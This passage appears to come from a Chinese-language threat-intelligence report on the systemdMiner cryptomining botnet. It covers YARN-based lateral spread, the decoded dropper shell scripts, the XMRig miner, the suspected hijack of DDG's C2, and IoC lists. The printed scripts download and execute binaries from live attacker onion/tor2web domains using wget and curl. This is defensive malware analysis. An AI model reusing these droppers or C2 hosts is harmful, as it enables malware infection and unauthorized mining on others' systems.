前文说过,systemd-resolve 集成了 YARN 未授权访问漏洞的 Exp,并以此入侵其他主机横向传播。systemd-resolve 的加壳、对抗分析特性都与 systemd-login-ddg 相同,不同的是把自身的守护进程命名为 -rbash

该样本主要用于内网传播,针对 172.16.0.0/12192.168.0.0/1610.0.0.0/8 网段。样本会先检查当前主机的 LAN_IP,是否属于上述三个内网网段:

如果当前主机的 LAN_IP 属于上述三个网段,样本就会批量探测上述网段各主机的 8088 端口:

对于探测成功的目标主机,则利用以下 Payload 来传播自身:

Payload 中的 Shell 脚本同样经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login-h
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(< /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi

可以看到最终会在目标失陷主机中下载 systemd-login-h 并执行。这个 systemd-login-h 功能与上面分析过的 systemd-login-ddg 相同,此处不赘述。

3.3 systemd.sh

前文提到,systemd-login-ddg 在用来更新样本的第 5 个 Shell 脚本中,会下载 systemd.sh 并执行。在我们分析 systemdMiner 家族的早期,这个 systemd.sh 脚本没有实质性的内容:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

大概在 2019.4.23 中午,背后的攻击者才把 systemd.sh 正式上线,最新的 systemd.sh 的内容:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.d2web.org
fi

可以看到其目的是下载 systemd-analyze 并执行。

3.4 systemd-analyze

前文提到, systemdMiner 目前的盈利手段是挖矿,而最终承担此任务的的矿机程序就是这个 systemd-analyze

此矿机程序也有与 systemdMiner 其他二进制程序相同的对抗分析的手段,不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串:

挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP,并非公共矿池,而且登录矿池所用的账号和密码均为 "x",所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下:

经过排查,我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下:

DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128一家俄罗斯冰淇淋公司ecosustain.infoA136.243.90.99European regional development Fund
资助的环保监测项目

上述两个都是正经网站的正经域名,所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。

4. 总结

综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析,在技术细节方面, systemdMiner 和 DDG 之间只发现一处相似点:DDG 的配置数据下发 URI 为 /slavesystemdMiner 的 Report URI 也是 /slave ,但这远不足以说明这两个团伙之间有什么联系。更何况 systemdMiner 还把 DDG 当作竞争对手而清除,而 DDG 的配置数据中也通过 hosts 文件屏蔽了 systemdMiner 的 C2 Domain。

所以我们认为,DDG 的主 C2 被 systemdMiner 的团伙入侵了。得手之后,systemdMiner 背后的团伙篡改了 DDG 的恶意 Shell 脚本,并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序,从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。

在 systemdMiner 后续的更新中,还会把自己的矿机程序命名为类似于 DDG 样本的名字,比如 6Tx3Wq(同于DDG 矿机程序文件名)或者ddgs.4000 ,让人乍一看会误以为是 DDG 相关的恶意程序。

5. IoCs

C&C Domain:

aptgetgxqs3secda.onion.ly
aptgetgxqs3secda.onion.pet
aptgetgxqs3secda.tor2web.fyi
aptgetgxqs3secda.onion.in.net
aptgetgxqs3secda.onion.mn
aptgetgxqs3secda.d2web.org
rapid7cpfqnwxodo.tor2web.fyi
rapid7cpfqnwxodo.onion.in.net
rapid7cpfqnwxodo.onion.ly
rapid7cpfqnwxodo.onion.pet
rapid7cpfqnwxodo.onion.mn
rapid7cpfqnwxodo.d2web.org

MD5:

64315b604bd7a4b2886bba0e6e5176be
dd8202ac5e6a2f6c8638116aa09694d7
45e4d4671efcd1d9e502359c2fbbd6eb
aa83345c8cc3e7b41709f96bfb9844f8
9f3edaa64e912661cd03f1aa9d342162
aa83345c8cc3e7b41709f96bfb9844f8
4215f6306caa3b216295334538cad257
50da2fb3920bfedfeb9e3a58ca008779
ceaee3da774cc712dc735d38194b396e
8d9f26cd8358dce9f44ee7d30a96793f
4bff1a92e6adcfe48c8b0f42b21a5af6